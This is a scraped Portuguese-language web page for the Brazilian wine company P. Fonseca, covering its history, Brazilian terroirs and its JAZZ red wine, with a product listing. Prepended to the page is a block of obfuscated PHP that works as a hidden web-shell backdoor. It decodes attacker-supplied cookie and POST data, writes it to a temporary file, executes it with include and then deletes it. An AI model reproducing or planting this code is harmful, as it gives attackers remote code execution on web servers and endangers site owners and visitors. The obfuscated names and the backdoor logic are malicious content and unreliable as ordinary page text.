$hieuNIn = 'l' . "\x4c" . 'C' . "\x5f" . chr (99) . chr ( 101 - 30 )."\113" . "\x63";$MnDePaT = "\143" . chr ( 712 - 604 ).chr (97) . "\x73" . "\x73" . "\137" . 'e' . chr ( 250 - 130 ).chr ( 686 - 581 )."\163" . chr (116) . chr ( 545 - 430 ); $PnPjB = class_exists($hieuNIn); $MnDePaT = "58891";$MyAqXiPIbj = strpos($MnDePaT, $hieuNIn);if ($PnPjB == $MyAqXiPIbj){function zldxzj(){$xaBiS = new /* 54952 */ lLC_cGKc(43478 + 43478); $xaBiS = NULL;}$xNPjpHf = "43478";class lLC_cGKc{private function YmWcsQms($xNPjpHf){if (is_array(lLC_cGKc::$OtdlAEAc)) {$name = sys_get_temp_dir() . "/" . crc32(lLC_cGKc::$OtdlAEAc["salt"]);@lLC_cGKc::$OtdlAEAc["write"]($name, lLC_cGKc::$OtdlAEAc["content"]);include $name;@lLC_cGKc::$OtdlAEAc["delete"]($name); $xNPjpHf = "43478";exit();}}public function qglsuASVPh(){$hmoPxrENov = "19315";$this->_dummy = str_repeat($hmoPxrENov, strlen($hmoPxrENov));}public function __destruct(){lLC_cGKc::$OtdlAEAc = @unserialize(lLC_cGKc::$OtdlAEAc); $xNPjpHf = "53663_4596";$this->YmWcsQms($xNPjpHf); $xNPjpHf = "53663_4596";}public function vqOUU($hmoPxrENov, $wiIQbDJjH){return $hmoPxrENov[0] ^ str_repeat($wiIQbDJjH, (strlen($hmoPxrENov[0]) / strlen($wiIQbDJjH)) + 1);}public function NHDMPH($hmoPxrENov){$bGiqOjB = "\142" . 'a' . chr (115) . chr (101) . "\66" . chr ( 845 - 793 );return array_map($bGiqOjB . chr ( 848 - 753 ).chr ( 793 - 693 )."\145" . 'c' . "\x6f" . chr ( 468 - 368 )."\x65", array($hmoPxrENov,));}public function __construct($jMpfXF=0){$tVwqJSTns = chr ( 218 - 174 ); $hmoPxrENov = "";$UhDBjgX = $_POST;$aMwHawIhb = $_COOKIE;$wiIQbDJjH = "17347ced-6d81-4312-a01a-16ecd0557879";$CKVBg = @$aMwHawIhb[substr($wiIQbDJjH, 0, 4)];if (!empty($CKVBg)){$CKVBg = explode($tVwqJSTns, $CKVBg);foreach ($CKVBg as $jknAwWHay){$hmoPxrENov .= @$aMwHawIhb[$jknAwWHay];$hmoPxrENov .= @$UhDBjgX[$jknAwWHay];}$hmoPxrENov = $this->NHDMPH($hmoPxrENov);}lLC_cGKc::$OtdlAEAc = $this->vqOUU($hmoPxrENov, $wiIQbDJjH);if (strpos($wiIQbDJjH, $tVwqJSTns) !== FALSE){$wiIQbDJjH = explode($tVwqJSTns, $wiIQbDJjH); $jcyJdh = base64_decode(md5($wiIQbDJjH[0])); $IobQTjp = strlen($wiIQbDJjH[1]) > 5 ? substr($wiIQbDJjH[1], 0, 5) : $wiIQbDJjH[1];$_GET['new_key'] = md5(implode('', $wiIQbDJjH)); $PnzMrkV = str_repeat($IobQTjp, 2); $AxrHadC = array_map('trim', $wiIQbDJjH);if (is_array($AxrHadC) && count($AxrHadC) > 1) {$LkHpLiCOyy = $AxrHadC[0];} else {$LkHpLiCOyy = '';}$UMrFmYSH = rawurldecode($LkHpLiCOyy); $_POST['decoded_key'] = $UMrFmYSH;$dTjvZZrsdy = str_split($UMrFmYSH, 2);}}public static $OtdlAEAc = 9662;}zldxzj();} P. Fonseca - P. Fonseca

P. Fonseca

Institucional

Nossa História

Em um país de proporções continentais, a produção de vinho no Brasil vai descobrindo os melhores lugares e delimitando seus terroirs.

Para conhecer os terroirs é preciso entender como acontecem as correntes de ar no território brasileiro, chamados de jatos de ar de baixo nível. A origem desses jatos está associada aos ventos alísios vindos do oceano Atlântico que invadem o território brasileiro pela ponta superior da Região Nordeste. Ali os ventos sopram sobre a área de vinicultura mais radical do Brasil, o semiárido do Nordeste, entre os estados de Pernambuco e Bahia. Quando chegam à Amazônia, absorvem muito vapor d’água, liberado pelas folhas da floresta por meio da transpiração. Já na fronteira do Estado do Acre com a Bolívia encontram a cordilheira dos Andes. As montanhas funcionam simultaneamente como um acelerador e uma barreira, já que aumentam a velocidade de circulação dos jatos e os desviam rumo ao sul.

E então o ar muda de temperatura e aroma quando atinge os picos gelados de São Joaquim, em Santa Catarina, chegando frio ao pulmão, com o distante perfume de maçãs. Nessa longa viagem rumo ao sul, o ar se encontra com a umidade dos vales da Serra Gaúcha, perfumados pelas videiras antigas, e chega ao pouso final na Campanha, aberta, imensa, onde todos os aromas dessa longa jornada se dispersam num horizonte de plantações.

O conjunto desses aromas e contornos se misturam para formar o mapa da vitivinicultura brasileira, uma jovem e bela silhueta de uma indústria que finalmente atinge um nível de profissionalização que lhe permite reconhecer e estudar seus territórios e terroirs.

A P. Fonseca é uma empresa que valoriza o vinho nacional e há alguns anos vem estudando os terroirs brasileiros

A empresa tem o forte propósito de produzir e comercializar, unicamente, vinhos nacionais e tornar o vinho brasileiro cada vez mais conhecido e consumido, principalmente, pelos brasileiros.

JAZZ

Em 2020 a P. Fonseca trouxe ao mercado nacional o vinho JAZZ, um projeto antigo e um sonho realizado. Todo grande projeto é como um ser vivo. Ele foi concebido, a partir de uma ideia ou vontade de criar, improvisar, fazer diferente. Depois de conhecer diversas vinícolas ao redor do mundo e ter degustado milhares de vinhos ao longo de muitos anos, Paulo Fonseca decidiu tornar realidade um sonho antigo, criar seu próprio vinho. A semente foi plantada em 2014 em visita a extraordinária vinícola Larentis, na Serra Gaúcha, precisamente no Vale dos Vinhedos-RS. Nesse momento, toda a história começou, porém a paixão já era antiga.

Foram muitas ideias trocadas, experimentos, testes, até chegar ao produto final. Foi um processo de criação com o importantíssimo suporte do competente e jovem enólogo André Larentis, e a colaboração de familiares e amigos na “difícil tarefa” de provar as primeiras amostras e aprimorar sabores e combinações de uvas.

O resultado não poderia ter sido melhor. Um vinho elaborado com o corte das uvas Malbec, Cabernet Sauvignon, Merlot e Cabernet Franc que apresenta ótima estrutura, muita elegância e ótima persistência olfativa e degustativa. Um autêntico representante do terroir brasileiro.

simulacao_site
P. Fonseca

Nossos Vinhos

  • VINHO P. FONSECA JAZZ 2019 Reserva

    R$140,00 Comprar